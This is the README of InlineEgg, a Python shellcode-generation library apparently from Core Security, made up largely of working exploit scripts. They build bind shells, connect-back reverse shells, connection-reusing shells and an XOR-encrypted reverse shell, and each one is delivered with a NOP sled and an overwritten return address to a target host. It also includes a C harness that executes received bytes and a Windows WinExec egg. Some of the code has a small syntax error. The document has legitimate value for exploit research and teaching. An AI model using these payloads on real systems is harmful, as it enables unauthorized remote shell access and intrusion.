Welcome to InlineEgg. http://oss.coresecurity.com/InlineEgg/ What is InlineEgg? ------------------ InlineEgg is a Python module that provides the user with a toolbox of convenient classes for writing small assembly programs. Only that instead of having to remember confusing assembly mnemonics and requiring the developer to remember how to use complex tools like assemblers and linkers, everything is done the easy way: in Python. InlineEgg is oriented -but not limited- to developing shellcode (sometimes called eggs) for use in exploits. InlineEgg started separately as a pretty simple idea to fulfill a pretty simple need, but today it's part of CORE IMPACT's egg creation framework. We are releasing it under an open source license for non-commercial use in the hope that you'll find it helpful for your own projects. Full story (and documentation) ------------------------------ A simple need: When writing exploits for remote code execution vulnerabilities (yes, that's what we do part of the time), you usually need to have a small assembly program that will be sent to the vulnerable application as part of the exploiting process. Historically, this small pieces of assembly code (eggs) were hardcoded as dead strings in the middle of the exploit. But, although having the strings handy gave the exploit writer some reusability and some flexibility, we sometimes needed more, we even needed the possibility of creating our small assembly programs in runtime, and make them adapt to the situation... well, there are lots of different solutions to the problem, but as I already had some ideas on how to do it, I jumped into python. A simple idea: Do something that lets us create small assembly programs by concatenating system calls, giving us the possibility of changing the arguments to the system calls, and adding more code when needed... for example, a pretty common egg I'd like to create would be: setuid(0) setgid(0) execve('/bin/sh',('sh','-i')) or even setuid(0) setgid(0) mkdir('a') chroot('a') chroot('../../') # yes, it works execve('/bin/sh',('sh','-i')) or probably more complex things, but still eggs. Let me talk just a little about eggs. Eggs are the code an exploit sends to, and executes in its target. As any other code, eggs could be written in any programing language, could be small, big, be self contained or use libraries, etc. Eggs have been written in assembly for historical reasons, and mainly because not much more was needed. But today things are changing, either because bugs are getting tougher to exploit reliably, because OS and application hardening measures are slowly becoming more widely used, or because IDSes detect eggs instead of the underlying bug. The need for "smarter", and dynamically created eggs is flowing in the air. Just a few words about what a shellcode is: a shellcode is an egg that executes a shell, but as eggs evolved into more advanced programs, it's not fair to simply call them shellcodes anymore. InlineEgg comes to fill a small gap, not all. It can only create simple eggs that use system calls, and have simple logic and simple variables, nothing complex. It was not created to fulfill every need, it was actually created as an experiment, looking for something different, playing with a few ideas, trying to keep it simple but still useful, nothing really serious. As every other software, it's not finished: there are always plenty of things to add, change, discard, redo and rethink, but still, after sitting on it for more than a year, and after approaching a nearly usable stage, it's ready to see the light. So, ladies and gentlemen, here with you, to use at no charge, InlineEgg... another idea that was flowing in the air and condensed into code. First, some simple examples of how to use it (oh, yes! python! didn't I say it?), the example are to be read and to learn how to use the library from them. Not only to be cut & pasted :-) --- example1.py ----------------------------------------- #!/usr/bin/python from inlineegg.inlineegg import * import socket import struct import sys def stdinShellEgg(): # egg = InlineEgg(FreeBSDx86Syscall) # egg = InlineEgg(OpenBSDx86Syscall) egg = InlineEgg(Linuxx86Syscall) egg.setuid(0) egg.setgid(0) egg.execve('/bin/ls',('ls','-la')) print "Egg len: %d" % len(egg) return egg def main(): if len(sys.argv) < 3: raise Exception, "Usage: %s <target ip> <target port>" # connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1], int(sys.argv[2]))) # create egg egg = stdinShellEgg() # exploit retAddr = struct.pack('<L',0xbffffc24L) toSend = "\x90"*(1024-len(egg)) toSend += egg.getCode() toSend += retAddr*20 sock.send(toSend) main() --------------------------------------------------------- uhm... do you want "bind shellcode", the following egg listen on port 3334: --- example2.py ----------------------------------------- #!/usr/bin/python from inlineegg.inlineegg import * import socket import struct import sys def listenShellEgg(listen_addr, listen_port): # egg = InlineEgg(FreeBSDx86Syscall) # egg = InlineEgg(OpenBSDx86Syscall) egg = InlineEgg(Linuxx86Syscall) # bind to port and listen sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM) sock = egg.save(sock) # save the socket in a variable (in stack) egg.bind(sock, (listen_addr, listen_port)) # sock is now the variable, and it's used from the stack egg.listen(sock,1) client = egg.accept(sock, 0, 0) client = egg.save(client) egg.close(sock) egg.dup2(client, 0) egg.dup2(client, 1) egg.dup2(client, 2) egg.execve('/bin/sh',('bash','-i')) print "Egg len: %d" % len(egg) return egg def main(): if len(sys.argv) < 3: raise Exception, "Usage: %s <target ip> <target port>" # connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1], int(sys.argv[2]))) # create egg egg = listenShellEgg('0.0.0.0',3334) # exploit retAddr = struct.pack('<L',0xbffffc24L) toSend = "\x90"*(1024-len(egg)) toSend += egg.getCode() toSend += retAddr*20 sock.send(toSend) main() --------------------------------------------------------- To test all the examples here you can use the following C program. --- tester,c -------------------------------------------- int main() { char buf[1024]; read(0,buf,1024); ((void(*)())buf)(); } --------------------------------------------------------- And now, for example, using two different shell prompts ([1] and [2]): gera@violent[1]: nc -v -l -p 3333|strace ./tester # wait for the sent egg and pipe it to tester (strace helps) gera@violent[2]: ./example2.py 127.0.0.1 3333 # "exploit" tester listening on port 3333 gera@violent[2]: nc -v 127.0.0.1 3334 # connect to 3334, where the egg is listening if you want the egg to connect back to you, only do: --- example3.py ----------------------------------------- #!/usr/bin/python from inlineegg.inlineegg import * import socket import struct import sys def connectShellEgg(connect_addr, connect_port): # egg = InlineEgg(FreeBSDx86Syscall) # egg = InlineEgg(OpenBSDx86Syscall) egg = InlineEgg(Linuxx86Syscall) # connect to other side sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM) sock = egg.save(sock) egg.connect(sock,(connect_addr, connect_port)) # dup an exec egg.dup2(sock, 0) egg.dup2(sock, 1) egg.dup2(sock, 2) egg.execve('/bin/sh',('bash','-i')) print "Egg len: %d" % len(egg) return egg def main(): if len(sys.argv) < 3: raise Exception, "Usage: %s <target ip> <target port>" # connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1], int(sys.argv[2]))) # create egg egg = connectShellEgg('127.0.0.1',3334) # exploit retAddr = struct.pack('<L',0xbffffc24L) toSend = "\x90"*(1024-len(egg)) toSend += egg.getCode() toSend += retAddr*20 sock.send(toSend) main() --------------------------------------------------------- Test it using three shells now: gera@violent[1]: nc -v -l -p 3333|strace ./tester # wait for the sent egg and pipe it to tester (strace helps) gera@violent[2]: nc -v -l -p 3334 # the egg will connect back to you on port 3334 gera@violent[3]: ./example3.py 127.0.0.1 3333 # "exploit" tester listening on port 3333 As said before, all this examples are simple and straight forward: they use system calls one after the other. But let me tell you, that was pretty common for an egg until recently. OK, on some cases you want to add some logic to the egg, for example, if you want it to scan the file descriptors until it finds a socket. InlineEgg does provide some possibilities to add logic to the eggs, at first the syntax may look weird (does it?), but it was necessary to keep the implementation simple (remember it all started as a game, to see if it could be kept simple?). Before reading the next example, remember that you are still coding assembly, however, you are not using an assembly compiler (assembler) to do it, but rather InlineEgg is compiling it for you. In this next example we will be accessing and using the microprocessor directly (still in python), and adding code "manually". We will try to hide it, but still, you better don't forget in the end, when we write eggs, it all comes down to assembly. --- example4.py ----------------------------------------- #!/usr/bin/python from inlineegg.inlineegg import * import socket import struct import sys def reuseConnectionShellEgg(): # egg = InlineEgg(FreeBSDx86Syscall) # egg = InlineEgg(OpenBSDx86Syscall) egg = InlineEgg(Linuxx86Syscall) # s = egg.socket(2,1) # uncomment for testing # egg.connect(s,('127.0.0.1',3334)) # uncomment for testing # scan for correct socket sock = egg.save(-1) # create a variable in the stack, initialized with zero # loop looking for socket loop = egg.Do() # we're gonna do a "do {} while()" loop += loop.micro.inc(sock) # now we talk to the answer from Do(), look how we use anEgg.micro and += lenp = loop.save(0) # while coding the loop, we need to talk to "loop" no "egg" err = loop.getpeername(sock,0,lenp.addr()) loop.While(err, '!=', 0) # NOTE: in linux and openbsd (at least), if the passed length to getpeername() is 0 # there is no need to pass valid pointer, however the length must be a valid pointer itself. # If you wanted to pass a buffer to compare peer's address to some value you could do: # # foundIP = egg.Do() # outer loop for IP address # # loop = egg.Do() # inner loop for return value from getpeername() # buff = loop.alloc(16) # allocate a 16 bytes buffer (in the stack) # lenp = loop.save(16) # initialize the length with 16 (the size of the buffer) # err = loop.getpeername(sock, buff.addr(), lenp.addr()) # loop += loop.micro.set('edx',buff+4) # save peers IP address in 'edx' # loop.While(err, '!=', 0) # # foundIP.While('edx','!=',0x0100007f) # dup an exec egg.dup2(sock, 0) egg.dup2(sock, 1) egg.dup2(sock, 2) egg.execve('/bin/sh',('bash','-i')) print "Egg len: %d" % len(egg) return egg def main(): if len(sys.argv) < 3: raise Exception, "Usage: %s <target ip> <target port>" # connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1], int(sys.argv[2]))) # create egg egg = reuseConnectionShellEgg() # exploit retAddr = struct.pack('<L',0xbffffc24L) toSend = "\x90"*(1024-len(egg)) toSend += egg.getCode() toSend += retAddr*20 sock.send(toSend) main() --------------------------------------------------------- This example is not as easy to test, because it needs an already established connection with the exploited program... however, if we uncomment the two lines marked with "uncomment for testing", the egg will act as a connectShellEgg(), but it will be using the reuseConnectShellEgg() technique, effectively testing what we want to test. So, to test, uncomment the two lines and: gera@violent[1]: nc -v -l -p 3333|strace ./tester # wait for the sent egg and pipe it to tester (strace helps) gera@violent[2]: nc -v -l -p 3334 # the egg will connect back to you on port 3334 gera@violent[3]: ./example4.py 127.0.0.1 3333 # "exploit" tester listening on port 3333 reuseConnectionShellEgg() is a little more complex, take some time to see how it works. Using egg.micro directly may look confusing at first, but it should be clear if you don't forget that in the end what you are doing is assembly. Read the note about using getpeername() with a buffer, because that's the key to understand how buffers could be used. The next example is the last one, and is a little more complicated, mixing not only direct uses of egg.micro but also including some externally compiled assembly to do some stuff which micro and inlineegg can't do (there is no technical reason why they can't do it, it's just that it was getting too complex and overstuffed with things not originally there). So, the next example is the implementation of an egg that will spawn a shell and "encrypt" all traffic (simple "encryption", just xor). I know this is not the first implementation of an egg like this, not even the second implementation, but I'm pretty sure it's the first one using InlineEgg :-) [is it the last using InlineEgg? :-)] --- example5.py ----------------------------------------- #!/usr/bin/python from inlineegg.inlineegg import * import socket import struct import sys def connectEncryptedShellEgg(connect_addr, connect_port): BUFSIZE = 1024 # egg = InlineEgg(FreeBSDx86Syscall) # egg = InlineEgg(OpenBSDx86Syscall) egg = InlineEgg(Linuxx86Syscall) # connect to other side sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM) sock = egg.save(sock) egg.connect(sock,(connect_addr, connect_port)) # setup communication with child egg.close(0) # close(0) so next opened fd is 0 fds = egg.alloc(8) child_fd = fds+4 egg.socketpair(socket.AF_UNIX, socket.SOCK_STREAM, 0, fds.addr()) egg.dup2(0,1) # as 0 was closed, we assume socketpair() returns 0 and something egg.dup2(0,2) egg.fork() # fork shell child = egg.If('eax','=',0) child.close(child_fd) child.execve('/bin/sh',('sh','-i',0)) child.end() # proxy from child process to remote peer buff = egg.alloc(BUFSIZE) infd = 'esi' outfd = 'edi' # move fds to registers egg += egg.micro.set(infd, sock) egg += egg.micro.set(outfd, child_fd) # swap registers in one of the childred (so one encrypts and the other decripts) enc_pid = egg.fork() enc_pid = egg.save(enc_pid) child = egg.If('eax','=',0) child += '\x87\xf7' # xchg %esi, %edi child.end() # main loop (read from one side, encrypt/decrypt, write to the other side) w = egg.Do() # read nr = egg.read(infd, buff.addr(), BUFSIZE) # end if eof eof = egg.If('eax','=',0) eof.kill(enc_pid,9) eof.exit(0) eof.end() # encrypt/decrypt egg += egg.micro.set('ecx',nr) egg += egg.micro.set('ebx',(buff-1).addr()) egg += "\x83\x34\x0b\x55" # xor $55, (%ebx, %ecx, 1) egg += "\xe2\xfa" # loop _xor # write nw = egg.write(outfd, buff.addr(), nr) w.While(nw, '!=', 0) print "Egg len: %d" % len(egg) return egg def main(): if len(sys.argv) < 3: raise Exception, "Usage: %s <target ip> <target port>" # connect to target sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((sys.argv[1], int(sys.argv[2]))) # create egg egg = connectEncryptedShellEgg('127.0.0.1',3335) # exploit retAddr = struct.pack('<L',0xbffffc24L) toSend = "\x90"*(1024-len(egg)) toSend += egg.getCode() toSend += retAddr*20 sock.send(toSend) main() --------------------------------------------------------- Of course that for using this last egg a mere netcat is not enough, so here is a "telnet" that will encrypt and decrypt as needed. --- xored_shell_client.py ------------------------------- #!/usr/bin/python import telnetlib import sys class CypherTelnet(telnetlib.Telnet): def fill_rawq(self): old = self.rawq telnetlib.Telnet.fill_rawq(self) for i in self.rawq[len(old):]: old += chr(0x55 ^ ord(i) self.rawq = old def write(self, buf): out = '' for i in buf: out += chr(0x55 ^ ord(i) return telnetlib.Telnet.write(self, out) if sys.argv[1] == '-l': import socket t = CypherTelnet() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((sys.argv[2], int(sys.argv[3]))) sock.listen(1) t.sock, peer = sock.accept() print "Connected from %s" % (peer,) sock.close() t.interact() else: CypherTelnet(sys.argv[1], int(sys.argv[2])).interact() --------------------------------------------------------- So, to test this last one do: gera@violent[1]: nc -v -l -p 3333|strace ./tester # wait for the sent egg and pipe it to tester (strace helps) gera@violent[2]: ./xored_shell_client -l 0.0.0.0 3335 # the egg will connect back to you on port 3334 gera@violent[3]: ./example5.py 127.0.0.1 3333 # "exploit" tester listening on port 3333 That's pretty much it, let me talk just a little about the "design" behind inlineegg: There are three main classes: Microprocessor Syscall InlineEgg And they have subclasses: Microprocessor Microx86 Syscall Linuxx86Syscall StackBasedSyscall FreeBSDx86Syscall OpenBSDx86Syscall Solarisx86Syscall WindowsSyscall InlineEgg LanguageInlineEgg While1InlineEgg FunctionInlineEgg IfInlineEgg WhileInlineEgg DoInlineEgg How to use all this? Currently the best documentation we have are examples and InlineEgg's source itself, sorry, I know I should write some good documentation about the library, how to use it and how to extend it, I'll try to do it in the near future. When you want to build an egg you use an InlineEgg (as in the previous examples), internally, an InlineEgg uses a Microprocessor and a Syscall. The former to know how to do basic things, like setting registers, pushing them to stack, allocating space in stack, etc. and the latter to know how to invoke a System Call. Microprocessor is who knows how to write assembly code. Check how it's implemented, it's not a neat or clean implementation, but it works. Lately I've been trying to clean it up a little, but haven't put more than 1 day into that, and although it evolved a little, it wasn't really significant. At first I was not sure if the design was good enough to permit the implementation of other type of Microprocessors, but now I do think it's enough, at least to start with, after jp showed me his implementation of Micros390 and showed me how he could use InlineEgg to write simple Linux/s390 eggs, although he had to simulate some instructions to be able to plug it into the scheme. Syscall is the implementation of the System Call interface, it depends on the operating system and it may depend on the platform (for example, Solaris/x86 passes arguments on the stack, while Solaris/SPARC uses registers). Not every system call is implemented in the Systemcall classes, only the interface to them is. The specifics of each particular system call is implemented in InlineEgg itself. Linuxx86Syscall is the most tested, then I know all the examples and all the tests in inlineegg_tests.py also work in OpenBSDx86Syscall. FreeBSDx86Syscall and Solarisx86Syscall where implemented in two ours (check how FreeBSDx86Syscall is implemented :-). For FreeBSD most things work, but there are some differences between Free and Open, so it may not work 100% OK. And then Solaris lacks some syscalls, and, for example, dup2() must be implemented using fcntl(), but this is not yet in InlineEgg. WindowsSyscall is a latter experiment to see how easy/hard it would be to port this ideas to windows. As for Syscall Proxying, "system call" must be understood as "any function in any dll". So, WindowsSyscall is that: a way to call any function in any dll, and it does work for some basic things. However, it depends on the user to supply the addresses of LoadLibrary and GetProcAddress. The design and implementation of this dependency lets you implement an egg that resolves this two addresses in runtime, using any of the well known methods (walking the list of dlls in memory, and then the IAT or the export table, or using hashes, or using hardcoded values per service pack and verifying them in runtime, or using ntdll.LdrLoadDll() + ntdll.LdrGetProcedureAddress(), etc), one of the examples included is: egg = InlineEgg(WindowsSyscall) egg += egg.syscall.remember('kernel32.dll.LoadLibrary',0x77e8a254) # hardcoded for my 2k egg += egg.syscall.remember('kernel32.dll.GetProcAddress',0x77e89ac1) # hardcoded for my 2k egg += egg.syscall.syscall('kernel32.dll','WinExec',('notepad.exe',5))[0] egg += egg.syscall.syscall('kernel32.dll','WinExec',('progman.exe',5))[0] egg += egg.syscall.syscall('kernel32.dll','ExitProcess',(0,))[0] egg.dumpExe('winexec_test.exe') As you can see, WindowsSyscall is not really integrated into the scheme, but I think it's already usable. InlineEgg is what you will usually use. It not only knows how to build code that uses system calls, but can also provide some basic language constructs, like infinite loop, if, while, do {} while and functions. Don't expect a real parser, a compiler and all the normal things a language requires, once more, this was kept simple, and as a result, the implementation is not very powerful and still needs more work. The "syntax" is almost consistent among the different constructs, and after some time you'll get used to it, for example, an if would be: uid = egg.getuid() no_root = egg.If(uid, '!=', 0) no_root.write(1,'You are not root!\n', len('You are not root!\n')) no_root.exit(1) no_root.end() egg.write(1,'You are root!\n', len('You are root!\n')) Note how a new egg is constructed using egg.If(), and how everything inside the if is done using the newly constructed egg instead of the original egg. Also note how after end() everything goes back to normal... go back and take a look at example4.py, where a Do().While() is used, and check the commented code, where two nested Do().While()s are used. This is all... check inlineegg_tests.py and inlineegg_win_tests.py for more examples, take a look at inlineegg.py and WindowsSyscall.py to see how things are done, to fix bugs, to add code, and to know the reasons of why things are not working as you expected them to... Wish you good luck, hope you enjoy it and feed back any thoughts it seeds, etc, etc... gera [at corest.com] PS: Oh, I forgot. dumpElf(), dumpAOut() and dumpExe() use exelib.py, which is not included in this package. This methods could be used to dump the eggs to executable files directly. Instead, you could use dumpS() to write a .S assembly file, and use the accompanying Makefile to create small executables. The Makefile is known to work on linux, and as with the rest, there is no warranty at all that it'll be of any use for anything :-)